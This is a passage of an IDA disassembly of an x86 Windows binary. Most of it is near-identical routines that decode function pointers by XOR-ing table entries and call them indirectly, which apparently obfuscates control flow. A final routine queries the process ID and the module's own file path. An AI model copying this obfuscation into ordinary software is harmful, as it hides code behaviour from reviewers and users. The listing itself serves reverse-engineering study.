		mov	esp, ebp
		pop	ebp
		retn
sub_4B292D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B2A2A	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDC20o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 4Bh
		mov	[ebp+var_2C], 8Eh
		mov	[ebp+var_28], 0F5h
		mov	[ebp+var_24], 0A3h
		mov	[ebp+var_20], 0Fh
		mov	[ebp+var_1C], 9Ah
		mov	[ebp+var_18], 29h
		mov	[ebp+var_14], 0A0h
		mov	[ebp+var_10], 12h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 12h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B2ABB
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B2ABB:				; CODE XREF: sub_4B2A2A+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B2A2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B2B27	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDC24o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0DCh
		mov	[ebp+var_2C], 8
		mov	[ebp+var_28], 7Fh
		mov	[ebp+var_24], 87h
		mov	[ebp+var_20], 3Ah
		mov	[ebp+var_1C], 0D1h
		mov	[ebp+var_18], 0Ah
		mov	[ebp+var_14], 0B2h
		mov	[ebp+var_10], 1
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 1
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B2BB7
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B2BB7:				; CODE XREF: sub_4B2B27+7Dj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B2B27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B2C23	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDC28o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0F9h
		mov	[ebp+var_2C], 40h
		mov	[ebp+var_28], 8Ch
		mov	[ebp+var_24], 56h
		mov	[ebp+var_20], 1Dh
		mov	[ebp+var_1C], 47h
		mov	[ebp+var_18], 58h
		mov	[ebp+var_14], 0E6h
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Bh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B2CB4
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B2CB4:				; CODE XREF: sub_4B2C23+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B2C23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B2D20	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDC2Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0DDh
		mov	[ebp+var_2C], 0B2h
		mov	[ebp+var_28], 20h
		mov	[ebp+var_24], 88h
		mov	[ebp+var_20], 26h
		mov	[ebp+var_1C], 31h
		mov	[ebp+var_18], 68h
		mov	[ebp+var_14], 11h
		mov	[ebp+var_10], 0Eh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Eh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B2DB1
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B2DB1:				; CODE XREF: sub_4B2D20+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B2D20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B2E1D	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDC30o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 4Bh
		mov	[ebp+var_2C], 0D8h
		mov	[ebp+var_28], 1Eh
		mov	[ebp+var_24], 90h
		mov	[ebp+var_20], 99h
		mov	[ebp+var_1C], 6Dh
		mov	[ebp+var_18], 7Ah
		mov	[ebp+var_14], 78h
		mov	[ebp+var_10], 7
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 7
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B2EAE
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B2EAE:				; CODE XREF: sub_4B2E1D+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B2E1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B2F1A	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDC34o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 9Fh
		mov	[ebp+var_2C], 2Ah
		mov	[ebp+var_28], 7
		mov	[ebp+var_24], 0BFh
		mov	[ebp+var_20], 0
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], 0B9h
		mov	[ebp+var_14], 8Ah
		mov	[ebp+var_10], 13h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 13h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B2FAB
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B2FAB:				; CODE XREF: sub_4B2F1A+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B2F1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B3017	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDC38o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0DDh
		mov	[ebp+var_2C], 9Fh
		mov	[ebp+var_28], 0F9h
		mov	[ebp+var_24], 0D1h
		mov	[ebp+var_20], 0E5h
		mov	[ebp+var_1C], 1
		mov	[ebp+var_18], 82h
		mov	[ebp+var_14], 87h
		mov	[ebp+var_10], 10h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 10h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B30A8
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B30A8:				; CODE XREF: sub_4B3017+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B3017	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B3114	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDC3Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 7Dh
		mov	[ebp+var_2C], 33h
		mov	[ebp+var_28], 1Bh
		mov	[ebp+var_24], 0DCh
		mov	[ebp+var_20], 0D3h
		mov	[ebp+var_1C], 3Ah
		mov	[ebp+var_18], 0F6h
		mov	[ebp+var_14], 20h
		mov	[ebp+var_10], 0Dh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Dh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B31A5
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B31A5:				; CODE XREF: sub_4B3114+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B3114	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B3211	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDC40o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0CFh
		mov	[ebp+var_2C], 0B7h
		mov	[ebp+var_28], 0CCh
		mov	[ebp+var_24], 3Ah
		mov	[ebp+var_20], 0D0h
		mov	[ebp+var_1C], 80h
		mov	[ebp+var_18], 0D3h
		mov	[ebp+var_14], 93h
		mov	[ebp+var_10], 11h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 11h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B32A2
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B32A2:				; CODE XREF: sub_4B3211+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B3211	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B3310	proc near		; DATA XREF: .data:004ED290o
		push	ebp
		mov	ebp, esp
		call	sub_4B331A
		pop	ebp
		retn
sub_4B3310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B331A	proc near		; CODE XREF: sub_4B3310+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset dword_4F3AD8
		call	sub_4B3329
		pop	ebp
		retn
sub_4B331A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B3329	proc near		; CODE XREF: sub_4B331A+8p

var_328		= dword	ptr -328h
Source		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
Str		= byte ptr -314h
var_313		= byte ptr -313h
var_210		= dword	ptr -210h
var_20C		= word ptr -20Ch
var_20A		= byte ptr -20Ah
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 328h
		push	edi
		mov	[ebp+var_318], ecx
		mov	eax, [ebp+var_318]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+var_318]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_318]
		mov	dword ptr [edx+0Ch], 0
		mov	eax, [ebp+var_318]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+var_318]
		add	ecx, 10h
		push	ecx
		call	dword_4ED1B4	; InitializeCriticalSection
		call	dword_4ED1B8	; GetCurrentProcessId
		mov	edx, [ebp+var_318]
		mov	[edx+28h], eax
		call	sub_4B36BD
		and	eax, 0FFh
		test	eax, eax
		jz	loc_4B351B
		mov	ax, word_4F4124
		mov	[ebp+var_20C], ax
		mov	ecx, 81h
		xor	eax, eax
		lea	edi, [ebp+var_20A]
		rep stosd
		stosw
		push	104h
		lea	ecx, [ebp+var_20C]
		push	ecx
		push	0
		call	dword_4ED1BC	; GetModuleFileNameW
		push	5Ch		; Ch
		lea	edx, [ebp+var_20C]
		push	edx		; Str
		call	_wcsrchr
		add	esp, 8
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4B33F7
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_31C], eax
		jmp	short loc_4B3403
; ---------------------------------------------------------------------------


loc_4B33F7:				; CODE XREF: sub_4B3329+BEj
		lea	ecx, [ebp+var_20C]
		mov	[ebp+var_31C], ecx


loc_4B3403:				; CODE XREF: sub_4B3329+CCj
		mov	edx, [ebp+var_31C]
		push	edx		; Source
		mov	eax, [ebp+var_318]
		add	eax, 234h
		push	eax		; Dest
		call	_wcscpy
		add	esp, 8
		push	2Eh		; Ch
		mov	ecx, [ebp+var_318]
		add	ecx, 234h
		push	ecx		; Str
		call	_wcschr
		add	esp, 8
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4B3446
		mov	edx, [ebp+var_4]
		mov	word ptr [edx],	0


loc_4B3446:				; CODE XREF: sub_4B3329+113j
		push	104h
		mov	eax, [ebp+var_318]
		add	eax, 43Ch
		push	eax
		push	0
		call	dword_4ED1BC	; GetModuleFileNameW
		push	104h
		lea	ecx, [ebp+var_20C]
		push	ecx
		mov	edx, [ebp+var_318]
		add	edx, 43Ch
		push	edx
		call	dword_4ED1C0	; GetShortPathNameW
		test	eax, eax
		jz	short loc_4B34FC
		push	5Ch		; Ch
		lea	eax, [ebp+var_20C]
		push	eax		; Str
		call	_wcsrchr
		add	esp, 8
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4B34AA
		mov	ecx, [ebp+var_4]
		add	ecx, 2
		mov	[ebp+var_320], ecx
		jmp	short loc_4B34B6
; ---------------------------------------------------------------------------


loc_4B34AA:				; CODE XREF: sub_4B3329+171j
		lea	edx, [ebp+var_20C]
		mov	[ebp+var_320], edx


loc_4B34B6:				; CODE XREF: sub_4B3329+17Fj
		mov	eax, [ebp+var_320]
		push	eax		; Source
		mov	ecx, [ebp+var_318]
		add	ecx, 43Ch
		push	ecx		; Dest
		call	_wcscpy
		add	esp, 8
		push	2Eh		; Ch
		mov	edx, [ebp+var_318]
		add	edx, 43Ch
		push	edx		; Str
		call	_wcschr
		add	esp, 8
		mov	[ebp+var_4], eax
